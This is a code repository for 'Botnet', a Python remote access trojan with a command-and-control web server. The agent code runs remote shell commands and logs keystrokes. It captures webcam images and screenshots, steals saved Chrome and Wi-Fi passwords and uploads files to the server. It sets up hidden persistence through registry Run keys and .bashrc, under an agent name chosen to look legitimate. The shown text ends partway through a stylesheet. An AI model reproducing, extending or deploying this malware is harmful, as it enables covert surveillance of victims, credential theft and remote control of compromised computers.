├── .gitignore ├── README.md ├── agent ├── agent.py ├── build.py ├── config.py └── passwords.py ├── requirements.txt └── server ├── API ├── GeoIP.dat └── __init__.py ├── WebUI ├── Static │ ├── css │ │ ├── github-dark.css │ │ └── stylesheet.css │ ├── images │ │ └── bkg.png │ └── js │ │ └── jquery.md5.js ├── Templates │ ├── agent_console.html │ ├── agent_detail.html │ ├── agent_list.html │ ├── create_password.html │ ├── footer.html │ ├── header.html │ ├── index.html │ └── login.html └── __init__.py ├── config.py ├── models.py └── server.py /.gitignore: -------------------------------------------------------------------------------- 1 | /venv/ 2 | /server/ares.db 3 | /BUGS.txt 4 | /.idea/ 5 | /server/uploads/ 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Botnet 2 | Botnet is a Python3 Remote Access Tool. 3 | 4 | __Warning: Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.__ 5 | 6 | Botnet is, just like Ares, made of two programs: 7 | 8 | - A Command And Control server which is a web interface to administer the agents 9 | - An agent program, which is run on the compromised host, and ensures communication with the C&C 10 | 11 | ## Based on Github project Ares: https://github.com/sweetsoftware/Ares 12 | Differences? 13 | 1. Updated from python 2 -> python 3 14 | 2. Extra features like screencaptures, webcam capture, keylogger, password grabber (websites and wifi), ... 15 | 16 | ## Setup 17 | 18 | __Note: I suggest creating a virtual environment__ 19 | 20 | Install the python requirements: 21 | 22 | ``` 23 | pip install -r requirements.txt 24 | ``` 25 | 26 | Initialize the database: 27 | 28 | ``` 29 | cd Server 30 | ./server initdb 31 | ``` 32 | 33 | ## Server 34 | Run the (debug) server: 35 | 36 | ``` 37 | ./server.py runserver -h 0.0.0.0 -p 8080 --threaded 38 | ``` 39 | 40 | The server must now be accessible on http://localhost:8080 41 | 42 | ## Agent 43 | Run the agent (update config.py to suit your needs): 44 | 45 | ``` 46 | cd agent 47 | ./agent.py 48 | ``` 49 | 50 | Build an agent to a standalone library and run it: 51 | 52 | ``` 53 | ./builder.py -p Linux --server http://localhost:8080 -o agent 54 | ./agent 55 | ``` 56 | 57 | To see a list of supported options run 58 | 59 | ``` 60 | ./builder.py -h 61 | ``` 62 | 63 | ## Commands 64 | 65 | ``` 66 | 67 | Executes the command in a shell and return its output. 68 | 69 | upload 70 | Uploads to server. 71 | 72 | download 73 | Downloads a file through HTTP(S). 74 | 75 | zip 76 | Creates a zip archive of the folder. 77 | 78 | python 79 | Runs a Python command or local file. 80 | 81 | screenshot 82 | Takes a screenshot and uploads the image to server. 83 | 84 | camshot 85 | Takes a webcam image and uploads the image to server. 86 | 87 | keylogger 88 | Shows all pressed keys since start up. 89 | 90 | passwords 91 | Shows all stored passwords on the pc, including websites and wifi. 92 | 93 | delete passwords 94 | Deletes all stored cookies from the victims' pc. 95 | This way you could try to retreive password from keylogs if you cannot get them from the passwords command. 96 | 97 | persist 98 | Installs the agent. 99 | 100 | clean 101 | Uninstalls the agent. 102 | 103 | exit 104 | Kills the agent. 105 | ``` 106 | -------------------------------------------------------------------------------- /agent/agent.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | import requests 3 | import time 4 | import os 5 | import subprocess 6 | import platform 7 | import shutil 8 | import sys 9 | import traceback 10 | import threading 11 | import uuid 12 | from io import StringIO 13 | import zipfile 14 | import tempfile 15 | import socket 16 | import getpass 17 | 18 | from pynput.keyboard import Key, Listener 19 | import cv2 20 | from passwords import getChromePasswords 21 | from passwords import getWifiPasswords 22 | from passwords import deleteChromePasswords 23 | 24 | if os.name == 'nt': 25 | from PIL import ImageGrab 26 | else: 27 | import pyscreenshot as ImageGrab 28 | 29 | import config 30 | 31 | 32 | def threaded(func): 33 | def wrapper(*_args, **kwargs): 34 | t = threading.Thread(target=func, args=_args) 35 | t.start() 36 | return 37 | 38 | return wrapper 39 | 40 | 41 | class Agent(object): 42 | 43 | def __init__(self): 44 | self.idle = True 45 | self.silent = False 46 | self.platform = platform.system() + " " + platform.release() 47 | self.last_active = time.time() 48 | self.failed_connections = 0 49 | self.uid = self.get_UID() 50 | self.hostname = socket.gethostname() 51 | self.username = getpass.getuser() 52 | self.keylogs = "" 53 | 54 | def get_install_dir(self): 55 | install_dir = None 56 | if platform.system() == 'Linux': 57 | install_dir = self.expand_path('~/.%s' % config.AGENT_NAME) 58 | elif platform.system() == 'Windows': 59 | install_dir = os.path.join(os.getenv('USERPROFILE'), config.AGENT_NAME) 60 | elif platform.system() == "Darwin": 61 | install_dir = self.expand_path('~/.%s' % config.AGENT_NAME) 62 | if os.path.exists(install_dir): 63 | return install_dir 64 | else: 65 | return None 66 | 67 | def is_installed(self): 68 | return self.get_install_dir() 69 | 70 | def get_consecutive_failed_connections(self): 71 | if self.is_installed(): 72 | install_dir = self.get_install_dir() 73 | check_file = os.path.join(install_dir, "failed_connections") 74 | if os.path.exists(check_file): 75 | with open(check_file, "r") as f: 76 | return int(f.read()) 77 | else: 78 | return 0 79 | else: 80 | return self.failed_connections 81 | 82 | def update_consecutive_failed_connections(self, value): 83 | if self.is_installed(): 84 | install_dir = self.get_install_dir() 85 | check_file = os.path.join(install_dir, "failed_connections") 86 | with open(check_file, "w") as f: 87 | f.write(str(value)) 88 | else: 89 | self.failed_connections = value 90 | 91 | def log(self, to_log): 92 | """ Write data to agent log """ 93 | print(to_log) 94 | 95 | def get_UID(self): 96 | """ Returns a unique ID for the agent """ 97 | return getpass.getuser() + "_" + str(uuid.getnode()) 98 | 99 | def server_hello(self): 100 | """ Ask server for instructions """ 101 | req = requests.post(config.SERVER + '/api/' + self.uid + '/hello', 102 | json={'platform': self.platform, 'hostname': self.hostname, 'username': self.username}) 103 | return req.text 104 | 105 | def send_output(self, output, newlines=True): 106 | """ Send console output to server """ 107 | if not isinstance(output, str): 108 | output = output.decode("utf-8") 109 | 110 | if self.silent: 111 | self.log(output) 112 | return 113 | if not output: 114 | return 115 | if newlines: 116 | output += "\n\n" 117 | req = requests.post(config.SERVER + '/api/' + self.uid + '/report', 118 | data={'output': output}) 119 | 120 | def expand_path(self, path): 121 | """ Expand environment variables and metacharacters in a path """ 122 | return os.path.expandvars(os.path.expanduser(path)) 123 | 124 | @threaded 125 | def runcmd(self, cmd): 126 | """ Runs a shell command and returns its output """ 127 | try: 128 | proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, 129 | stderr=subprocess.PIPE) 130 | out, err = proc.communicate() 131 | output = (out + err) 132 | self.send_output(output) 133 | except Exception as exc: 134 | self.send_output(traceback.format_exc()) 135 | 136 | @threaded 137 | def python(self, command_or_file): 138 | """ Runs a python command or a python file and returns the output """ 139 | new_stdout = StringIO.StringIO() 140 | old_stdout = sys.stdout 141 | sys.stdout = new_stdout 142 | new_stderr = StringIO.StringIO() 143 | old_stderr = sys.stderr 144 | sys.stderr = new_stderr 145 | if os.path.exists(command_or_file): 146 | self.send_output("[*] Running python file...") 147 | with open(command_or_file, 'r') as f: 148 | python_code = f.read() 149 | try: 150 | exec(python_code) 151 | except Exception as exc: 152 | self.send_output(traceback.format_exc()) 153 | else: 154 | self.send_output("[*] Running python command...") 155 | try: 156 | exec(command_or_file) 157 | except Exception as exc: 158 | self.send_output(traceback.format_exc()) 159 | sys.stdout = old_stdout 160 | sys.stderr = old_stderr 161 | self.send_output(new_stdout.getvalue() + new_stderr.getvalue()) 162 | 163 | def cd(self, directory): 164 | """ Change current directory """ 165 | os.chdir(self.expand_path(directory)) 166 | 167 | @threaded 168 | def upload(self, file): 169 | """ Uploads a local file to the server """ 170 | file = self.expand_path(file) 171 | try: 172 | if os.path.exists(file) and os.path.isfile(file): 173 | self.send_output("[*] Uploading %s..." % file) 174 | requests.post(config.SERVER + '/api/' + self.uid + '/upload', 175 | files={'uploaded': open(file, 'rb')}) 176 | else: 177 | self.send_output('[!] No such file: ' + file) 178 | except Exception as exc: 179 | self.send_output(traceback.format_exc()) 180 | 181 | @threaded 182 | def download(self, file, destination=''): 183 | """ Downloads a file the the agent host through HTTP(S) """ 184 | try: 185 | destination = self.expand_path(destination) 186 | if not destination: 187 | destination = file.split('/')[-1] 188 | self.send_output("[*] Downloading %s..." % file) 189 | req = requests.get(file, stream=True) 190 | with open(destination, 'wb') as f: 191 | for chunk in req.iter_content(chunk_size=8000): 192 | if chunk: 193 | f.write(chunk) 194 | self.send_output("[+] File downloaded: " + destination) 195 | except Exception as exc: 196 | self.send_output(traceback.format_exc()) 197 | 198 | def persist(self): 199 | """ Installs the agent """ 200 | if not getattr(sys, 'frozen', False): 201 | self.send_output('[!] Persistence only supported on compiled agents.') 202 | return 203 | if self.is_installed(): 204 | self.send_output('[!] agent seems to be already installed.') 205 | return 206 | if platform.system() == 'Linux': 207 | persist_dir = self.expand_path('~/.%s' % config.AGENT_NAME) 208 | if not os.path.exists(persist_dir): 209 | os.makedirs(persist_dir) 210 | agent_path = os.path.join(persist_dir, os.path.basename(sys.executable)) 211 | shutil.copyfile(sys.executable, agent_path) 212 | os.system('chmod +x ' + agent_path) 213 | if os.path.exists(self.expand_path("~/.config/autostart/")): 214 | desktop_entry = "[Desktop Entry]\nVersion=1.0\nType=Application\nName=%s\nExec=%s\n" % (config.AGENT_NAME, agent_path) 215 | with open(self.expand_path('~/.config/autostart/%s.desktop' % config.AGENT_NAME), 'w') as f: 216 | f.write(desktop_entry) 217 | else: 218 | with open(self.expand_path("~/.bashrc"), "a") as f: 219 | f.write("\n(if [ $(ps aux|grep " + os.path.basename( 220 | sys.executable) + "|wc -l) -lt 2 ]; then " + agent_path + ";fi&)\n") 221 | elif platform.system() == 'Windows': 222 | persist_dir = os.path.join(os.getenv('USERPROFILE'), config.AGENT_NAME) 223 | if not os.path.exists(persist_dir): 224 | os.makedirs(persist_dir) 225 | agent_path = os.path.join(persist_dir, os.path.basename(sys.executable)) 226 | shutil.copyfile(sys.executable, agent_path) 227 | cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v %s /t REG_SZ /d \"%s\"" % (config.AGENT_NAME, agent_path) 228 | subprocess.Popen(cmd, shell=True) 229 | self.send_output('[+] agent installed.') 230 | 231 | def clean(self): 232 | """ Uninstalls the agent """ 233 | if platform.system() == 'Linux': 234 | persist_dir = self.expand_path('~/.%s' % config.AGENT_NAME) 235 | if os.path.exists(persist_dir): 236 | shutil.rmtree(persist_dir) 237 | desktop_entry = self.expand_path('~/.config/autostart/%s.desktop' % config.AGENT_NAME) 238 | if os.path.exists(desktop_entry): 239 | os.remove(desktop_entry) 240 | os.system("grep -v .%s .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc" % config.AGENT_NAME) 241 | elif platform.system() == 'Windows': 242 | persist_dir = os.path.join(os.getenv('USERPROFILE'), config.AGENT_NAME) 243 | cmd = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v %s" % config.AGENT_NAME 244 | subprocess.Popen(cmd, shell=True) 245 | cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v %s /t REG_SZ /d \"cmd.exe /c del /s /q %s & rmdir %s\"" % ( 246 | config.AGENT_NAME, persist_dir, persist_dir) 247 | subprocess.Popen(cmd, shell=True) 248 | self.send_output('[+] agent removed successfully.') 249 | 250 | def exit(self): 251 | """ Kills the agent """ 252 | self.send_output('[+] Exiting... (bye!)') 253 | sys.exit(0) 254 | 255 | @threaded 256 | def zip(self, zip_name, to_zip): 257 | """ Zips a folder or file """ 258 | try: 259 | zip_name = self.expand_path(zip_name) 260 | to_zip = self.expand_path(to_zip) 261 | if not os.path.exists(to_zip): 262 | self.send_output("[+] No such file or directory: %s" % to_zip) 263 | return 264 | self.send_output("[*] Creating zip archive...") 265 | zip_file = zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) 266 | if os.path.isdir(to_zip): 267 | relative_path = os.path.dirname(to_zip) 268 | for root, dirs, files in os.walk(to_zip): 269 | for file in files: 270 | zip_file.write(os.path.join(root, file), os.path.join(root, file).replace(relative_path, '', 1)) 271 | else: 272 | zip_file.write(to_zip, os.path.basename(to_zip)) 273 | zip_file.close() 274 | self.send_output("[+] Archive created: %s" % zip_name) 275 | except Exception as exc: 276 | self.send_output(traceback.format_exc()) 277 | 278 | @threaded 279 | def screenshot(self): 280 | """ Takes a screenshot and uploads it to the server""" 281 | tmp_file = tempfile.NamedTemporaryFile() 282 | screenshot_file = tmp_file.name + ".png" 283 | 284 | if os.name != 'posix': 285 | screenshot = ImageGrab.grab() 286 | tmp_file.close() 287 | screenshot.save(screenshot_file) 288 | else: 289 | name = tmp_file.name + ".png" 290 | os.system("screencapture %s" % name) 291 | 292 | self.upload(screenshot_file) 293 | 294 | @threaded 295 | def startkeylogger(self): 296 | "Starts logging every key pressed" 297 | def on_press(key): 298 | self.keylogs += str(key) + " " 299 | 300 | with Listener(on_press=on_press) as listener: 301 | listener.join() 302 | 303 | @threaded 304 | def getloggedkeys(self): 305 | self.send_output(self.keylogs) 306 | self.keylogs = "" 307 | if platform.system() == "Darwin": 308 | self.send_output("Keylogger on infected Mac currenly not supported") 309 | 310 | @threaded 311 | def camshot(self): 312 | # Notice: light of usage webcam gets turned on. 313 | # TODO: Find way to disable led-lamp or reduce amount of time.sleep as much as possible for less detection 314 | cam = cv2.VideoCapture(0) 315 | time.sleep(3) # wait for camera to open up, so image isn't dark (less sleeping = darker image) 316 | ret, frame = cam.read() 317 | if not ret: 318 | return 319 | tmp_file = tempfile.NamedTemporaryFile() 320 | camshot_file = tmp_file.name + ".png" 321 | tmp_file.close() 322 | cv2.imwrite(camshot_file, frame) 323 | self.upload(camshot_file) 324 | 325 | @threaded 326 | def camvideo(self): 327 | cam = cv2.VideoCapture(0) 328 | time.sleep(3) 329 | ret, video = cam.grab() 330 | if not ret: 331 | return 332 | 333 | tmp_file = tempfile.NamedTemporaryFile() 334 | camshot_file = tmp_file.name + ".png" 335 | tmp_file.close() 336 | cv2.imwrite(camshot_file, video) 337 | self.upload(camshot_file) 338 | 339 | 340 | @threaded 341 | def passwords(self): 342 | # get stored passwords from Chrome 343 | data = getChromePasswords() 344 | for dictionary in data: 345 | for key, value in dictionary.items(): 346 | self.send_output("%s : %s" % (key, value)) 347 | 348 | # get local stored passwords from wifi connections 349 | data = getWifiPasswords() 350 | for wifi in data: 351 | self.send_output(wifi) 352 | 353 | @threaded 354 | def deleteStoredPasswords(self): 355 | deleteChromePasswords() 356 | 357 | def help(self): 358 | """ Displays the help """ 359 | self.send_output(config.HELP) 360 | 361 | def run(self): 362 | """ Main loop """ 363 | self.silent = True 364 | if config.PERSIST: 365 | try: 366 | self.persist() 367 | except: 368 | self.log("Failed executing persistence") 369 | self.silent = False 370 | try: 371 | self.startkeylogger() 372 | except: 373 | self.log("startKeylogger failed") 374 | while True: 375 | try: 376 | todo = self.server_hello() 377 | self.update_consecutive_failed_connections(0) 378 | # Something to do ? 379 | if todo: 380 | commandline = todo 381 | self.idle = False 382 | self.last_active = time.time() 383 | self.send_output('$ ' + commandline) 384 | split_cmd = commandline.split(" ") 385 | command = split_cmd[0] 386 | args = [] 387 | if len(split_cmd) > 1: 388 | args = split_cmd[1:] 389 | try: 390 | if command == 'cd': 391 | if not args: 392 | self.send_output('usage: cd ') 393 | else: 394 | self.cd(args[0]) 395 | elif command == 'upload': 396 | if not args: 397 | self.send_output('usage: upload ') 398 | else: 399 | self.upload(args[0], ) 400 | elif command == 'download': 401 | if not args: 402 | self.send_output('usage: download ') 403 | else: 404 | if len(args) == 2: 405 | self.download(args[0], args[1]) 406 | else: 407 | self.download(args[0]) 408 | elif command == 'clean': 409 | self.clean() 410 | elif command == 'persist': 411 | self.persist() 412 | elif command == 'exit': 413 | self.exit() 414 | elif command == 'zip': 415 | if not args or len(args) < 2: 416 | self.send_output('usage: zip ') 417 | else: 418 | self.zip(args[0], " ".join(args[1:])) 419 | elif command == 'python': 420 | if not args: 421 | self.send_output('usage: python or python ') 422 | else: 423 | self.python(" ".join(args)) 424 | elif command == 'screenshot': 425 | self.screenshot() 426 | elif command == 'keylogger': 427 | self.getloggedkeys() 428 | elif command == 'camshot': 429 | self.camshot() 430 | elif command == 'passwords': 431 | self.passwords() 432 | elif command == 'delete passwords': 433 | self.deleteStoredPasswords() 434 | elif command == 'help': 435 | self.help() 436 | else: 437 | self.runcmd(commandline) 438 | except Exception as exc: 439 | self.send_output(traceback.format_exc()) 440 | else: 441 | if self.idle: 442 | time.sleep(config.HELLO_INTERVAL) 443 | elif (time.time() - self.last_active) > config.IDLE_TIME: 444 | self.log("Switching to idle mode...") 445 | self.idle = True 446 | else: 447 | time.sleep(0.5) 448 | except Exception as exc: 449 | self.log(traceback.format_exc()) 450 | failed_connections = self.get_consecutive_failed_connections() 451 | failed_connections += 1 452 | self.update_consecutive_failed_connections(failed_connections) 453 | self.log("Consecutive failed connections: %d" % failed_connections) 454 | if failed_connections > config.MAX_FAILED_CONNECTIONS: 455 | self.silent = True 456 | self.clean() 457 | self.exit() 458 | time.sleep(config.HELLO_INTERVAL) 459 | 460 | 461 | def main(): 462 | agent = Agent() 463 | agent.run() 464 | 465 | 466 | if __name__ == "__main__": 467 | main() -------------------------------------------------------------------------------- /agent/build.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shutil 3 | import tempfile 4 | import config 5 | import time 6 | 7 | # TODO: Error running executable on mac. TODO: check for windows, TODO: add mac version (possible fail might be because it is linux generated file) 8 | def build_agent(output, platform): 9 | prog_name = os.path.basename(output) 10 | platform = platform.lower() 11 | 12 | if platform not in ['linux', 'windows']: 13 | print("[!] Supported platforms are 'Linux' and 'Windows'") 14 | exit(0) 15 | if os.name != 'posix' and platform == 'linux': 16 | print("[!] Can only build Linux agents on Linux.") 17 | exit(0) 18 | 19 | working_dir = os.path.join(tempfile.gettempdir(), config.AGENT_NAME) 20 | if os.path.exists(working_dir): 21 | shutil.rmtree(working_dir) 22 | 23 | agent_dir = os.path.dirname(os.path.abspath(__file__)) 24 | shutil.copytree(agent_dir, working_dir) 25 | 26 | cwd = os.getcwd() 27 | os.chdir(working_dir) 28 | shutil.move('agent.py', prog_name + '.py') 29 | 30 | if platform == 'linux': 31 | os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py') 32 | agent_file = os.path.join(working_dir, 'dist', prog_name) 33 | 34 | elif platform == 'windows': 35 | os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py') 36 | time.sleep(2) 37 | if not prog_name.endswith(".exe"): 38 | prog_name += ".exe" 39 | agent_file = os.path.join(working_dir, 'dist', prog_name) 40 | os.chdir(cwd) 41 | 42 | os.rename(agent_file, output) 43 | shutil.rmtree(working_dir) 44 | print("[+] agent built successfully: %s" % output) 45 | 46 | 47 | def main(): 48 | from argparse import ArgumentParser 49 | parser = ArgumentParser(description="Builds an agent.") 50 | parser.add_argument('-p', '--platform', required=True, help="Platform for the (target) agent") 51 | parser.add_argument('-s', '--server', required=True, help="Address of the CnC server (e.g http://localhost:8080).") 52 | parser.add_argument('-o', '--output', required=True, help="Output file name.") 53 | args = parser.parse_args() 54 | 55 | build_agent( 56 | output=args.output, 57 | platform=args.platform) 58 | 59 | 60 | if __name__ == "__main__": 61 | main() -------------------------------------------------------------------------------- /agent/config.py: -------------------------------------------------------------------------------- 1 | AGENT_NAME = "Driver" # looks legit 2 | SERVER = "http://localhost:8080" 3 | HELLO_INTERVAL = 2 4 | IDLE_TIME = 60 5 | MAX_FAILED_CONNECTIONS = 10 6 | PERSIST = True 7 | HELP = """ 8 | 9 | Executes the command in a shell and return its output. 10 | 11 | upload 12 | Uploads to server. 13 | 14 | download 15 | Downloads a file through HTTP(S). 16 | 17 | zip 18 | Creates a zip archive of the folder. 19 | 20 | python 21 | Runs a Python command or local file. 22 | 23 | screenshot 24 | Takes a screenshot. 25 | 26 | camshot 27 | Takes a webcam image. 28 | 29 | keylogger 30 | Shows all pressed keys since start up. 31 | 32 | passwords 33 | Shows all stored passwords on the pc, including websites and wifi. 34 | 35 | delete passwords 36 | Deletes all stored cookies from the victims' pc. 37 | This way you could try to retreive password from keylogs if you cannot get them from the passwords command. 38 | 39 | persist 40 | Installs the agent. 41 | 42 | clean 43 | Uninstalls the agent. 44 | 45 | exit 46 | Kills the agent. 47 | """ -------------------------------------------------------------------------------- /agent/passwords.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sqlite3 3 | import platform 4 | import subprocess 5 | try: 6 | import win32crypt 7 | except: 8 | pass 9 | 10 | 11 | def getPath(): 12 | path = '' 13 | if os.name == 'nt': # Windows 14 | path = os.getenv('localappdata') + \ 15 | '\\Google\\Chrome\\User Data\\Default\\' 16 | elif os.name == 'posix': 17 | path = os.getenv('HOME') 18 | if platform.system() == 'darwin': # MacOS 19 | path += 'Library/Application Support/Google/Chrome/Default' 20 | else: # Linux 21 | path += '/.config/google-chrome/Default/' 22 | 23 | return path 24 | 25 | 26 | # TODO: Currently only works for infected Windows PC's 27 | def getChromePasswords(): 28 | info_list = [] 29 | path = getPath() 30 | 31 | try: 32 | connection = sqlite3.connect(path + 'Login Data') 33 | with connection: 34 | cursor = connection.cursor() 35 | v = cursor.execute( 36 | 'SELECT action_url, username_value, password_value FROM logins') 37 | value = v.fetchall() 38 | 39 | for website_url, username, password in value: 40 | if os.name == 'nt': 41 | password = win32crypt.CryptUnprotectData( 42 | password, None, None, None, 0)[1] 43 | 44 | if password: 45 | info_list.append({ 46 | 'website_url': website_url, 47 | 'username': username, 48 | 'password': str(password) 49 | }) 50 | 51 | return info_list 52 | except Exception as e: 53 | return [{"error": str(e)}, {"Problem": "User doesn't use Google Chrome or isn't using Windows"}] 54 | 55 | 56 | def deleteChromePasswords(): 57 | path = getPath() 58 | os.remove(path) 59 | return 60 | 61 | def getWifiPasswords(): 62 | if os.name == 'nt': 63 | try: 64 | data_list = [] 65 | data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n') 66 | profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i] 67 | 68 | for i in profiles: 69 | results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode( 70 | 'utf-8').split('\n') 71 | results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] 72 | try: 73 | data_list.append("{:<30}| {:<}".format(i, results[0])) 74 | except Exception: 75 | data_list.append("{:<30}| {:<}".format(i, "")) 76 | 77 | return data_list 78 | except Exception as e: 79 | return ["getWifiPasswords failed with exception " + str(e)] 80 | else: 81 | return ['Infected PC is not Windows based, so cannot fetch wifi data for now.'] 82 | 83 | def getFirefoxPasswords(): 84 | # TODO: getFirefoxPasswords() and create command in agent.py 85 | return [{'TODO': 'getFirefoxPasswords'}] 86 | 87 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | altgraph 2 | certifi 3 | chardet 4 | click 5 | EasyProcess 6 | Flask 7 | Flask-Script 8 | Flask-SQLAlchemy 9 | future 10 | gunicorn 11 | idna 12 | itsdangerous 13 | Jinja2 14 | macholib 15 | MarkupSafe 16 | olefile 17 | pefile 18 | Pillow 19 | pygeoip 20 | PyInstaller 21 | pyscreenshot 22 | requests 23 | SQLAlchemy 24 | urllib3 25 | Werkzeug 26 | pynput 27 | opencv-python 28 | pypiwin32 29 | 30 | Flask-Script 31 | pygeoip 32 | 33 | numpy 34 | pyscreenshot 35 | image 36 | -------------------------------------------------------------------------------- /server/API/GeoIP.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frederikme/Botnet/9bd6407992c6b41db56ca1065e05e21a398e64b4/server/API/GeoIP.dat -------------------------------------------------------------------------------- /server/API/__init__.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | import os 4 | from datetime import datetime 5 | import tempfile 6 | import shutil 7 | 8 | from flask import Blueprint 9 | from flask import request 10 | from flask import abort 11 | from flask import current_app 12 | from flask import url_for 13 | from flask import send_file 14 | from flask import render_template 15 | from werkzeug.utils import secure_filename 16 | import pygeoip 17 | from flask import flash 18 | from flask import redirect 19 | from flask import escape 20 | import cgi 21 | 22 | from WebUI import require_admin 23 | from models import db 24 | from models import Agent 25 | from models import Command 26 | 27 | 28 | api = Blueprint('api', __name__) 29 | GEOIP = pygeoip.GeoIP('api/GeoIP.dat', pygeoip.MEMORY_CACHE) 30 | 31 | 32 | def geolocation(ip): 33 | geoloc_str = 'Local' 34 | info = GEOIP.record_by_addr(ip) 35 | if info: 36 | geoloc_str = info['city'] + ' [' + info['country_code'] + ']' 37 | return geoloc_str 38 | 39 | 40 | @api.route('/massexec', methods=['POST']) 41 | @require_admin 42 | def mass_execute(): 43 | selection = request.form.getlist('selection') 44 | if 'execute' in request.form: 45 | for agent_id in selection: 46 | Agent.query.get(agent_id).push_command(request.form['cmd']) 47 | flash('Executed "%s" on %s agents' % (request.form['cmd'], len(selection))) 48 | elif 'delete' in request.form: 49 | for agent_id in selection: 50 | db.session.delete(Agent.query.get(agent_id)) 51 | db.session.commit() 52 | flash('Deleted %s agents' % len(selection)) 53 | return redirect(url_for('webui.agent_list')) 54 | 55 | 56 | @api.route('//push', methods=['POST']) 57 | @require_admin 58 | def push_command(agent_id): 59 | agent = Agent.query.get(agent_id) 60 | if not agent: 61 | abort(404) 62 | agent.push_command(request.form['cmdline']) 63 | return '' 64 | 65 | 66 | @api.route('//stdout') 67 | @require_admin 68 | def agent_console(agent_id): 69 | agent = Agent.query.get(agent_id) 70 | return render_template('agent_console.html', agent=agent) 71 | 72 | 73 | @api.route('//hello', methods=['POST']) 74 | def get_command(agent_id): 75 | agent = Agent.query.get(agent_id) 76 | if not agent: 77 | agent = Agent(agent_id) 78 | db.session.add(agent) 79 | db.session.commit() 80 | # Report basic info about the agent 81 | info = request.json 82 | if info: 83 | if 'platform' in info: 84 | agent.operating_system = info['platform'] 85 | if 'hostname' in info: 86 | agent.hostname = info['hostname'] 87 | if 'username' in info: 88 | agent.username = info['username'] 89 | agent.last_online = datetime.now() 90 | agent.remote_ip = request.remote_addr 91 | agent.geolocation = geolocation(agent.remote_ip) 92 | db.session.commit() 93 | # Return pending commands for the agent 94 | cmd_to_run = '' 95 | cmd = agent.commands.order_by(Command.timestamp.desc()).first() 96 | if cmd: 97 | cmd_to_run = cmd.cmdline 98 | db.session.delete(cmd) 99 | db.session.commit() 100 | return cmd_to_run 101 | 102 | 103 | @api.route('//report', methods=['POST']) 104 | def report_command(agent_id): 105 | agent = Agent.query.get(agent_id) 106 | if not agent: 107 | abort(404) 108 | out = request.form['output'] 109 | agent.output += cgi.escape(out) 110 | db.session.add(agent) 111 | db.session.commit() 112 | return '' 113 | 114 | 115 | @api.route('//upload', methods=['POST']) 116 | def upload(agent_id): 117 | agent = Agent.query.get(agent_id) 118 | if not agent: 119 | abort(404) 120 | for file in request.files.values(): 121 | upload_dir = os.path.join(current_app.config['UPLOAD_FOLDER']) 122 | agent_dir = agent_id 123 | store_dir = os.path.join(upload_dir, agent_dir) 124 | filename = secure_filename(file.filename) 125 | if not os.path.exists(store_dir): 126 | os.makedirs(store_dir) 127 | file_path = os.path.join(store_dir, filename) 128 | while os.path.exists(file_path): 129 | filename = "_" + filename 130 | file_path = os.path.join(store_dir, filename) 131 | file.save(file_path) 132 | download_link = url_for('webui.uploads', path=agent_dir + '/' + filename) 133 | agent.output += '[*] File uploaded: ' + download_link + '\n' 134 | db.session.add(agent) 135 | db.session.commit() 136 | return '' -------------------------------------------------------------------------------- /server/WebUI/Static/css/github-dark.css: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2014 GitHub Inc. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | 16 | */ 17 | 18 | .pl-c /* comment */ { 19 | color: #969896; 20 | } 21 | 22 | .pl-c1 /* constant, markup.raw, meta.diff.header, meta.module-reference, meta.property-name, support, support.constant, support.variable, variable.other.constant */, 23 | .pl-s .pl-v /* string variable */ { 24 | color: #0099cd; 25 | } 26 | 27 | .pl-e /* entity */, 28 | .pl-en /* entity.name */ { 29 | color: #9774cb; 30 | } 31 | 32 | .pl-s .pl-s1 /* string source */, 33 | .pl-smi /* storage.modifier.import, storage.modifier.package, storage.type.java, variable.other, variable.parameter.function */ { 34 | color: #ddd; 35 | } 36 | 37 | .pl-ent /* entity.name.tag */ { 38 | color: #7bcc72; 39 | } 40 | 41 | .pl-k /* keyword, storage, storage.type */ { 42 | color: #cc2372; 43 | } 44 | 45 | .pl-pds /* punctuation.definition.string, string.regexp.character-class */, 46 | .pl-s /* string */, 47 | .pl-s .pl-pse .pl-s1 /* string punctuation.section.embedded source */, 48 | .pl-sr /* string.regexp */, 49 | .pl-sr .pl-cce /* string.regexp constant.character.escape */, 50 | .pl-sr .pl-sra /* string.regexp string.regexp.arbitrary-repitition */, 51 | .pl-sr .pl-sre /* string.regexp source.ruby.embedded */ { 52 | color: #3c66e2; 53 | } 54 | 55 | .pl-v /* variable */ { 56 | color: #fb8764; 57 | } 58 | 59 | .pl-id /* invalid.deprecated */ { 60 | color: #e63525; 61 | } 62 | 63 | .pl-ii /* invalid.illegal */ { 64 | background-color: #e63525; 65 | color: #f8f8f8; 66 | } 67 | 68 | .pl-sr .pl-cce /* string.regexp constant.character.escape */ { 69 | color: #7bcc72; 70 | font-weight: bold; 71 | } 72 | 73 | .pl-ml /* markup.list */ { 74 | color: #c26b2b; 75 | } 76 | 77 | .pl-mh /* markup.heading */, 78 | 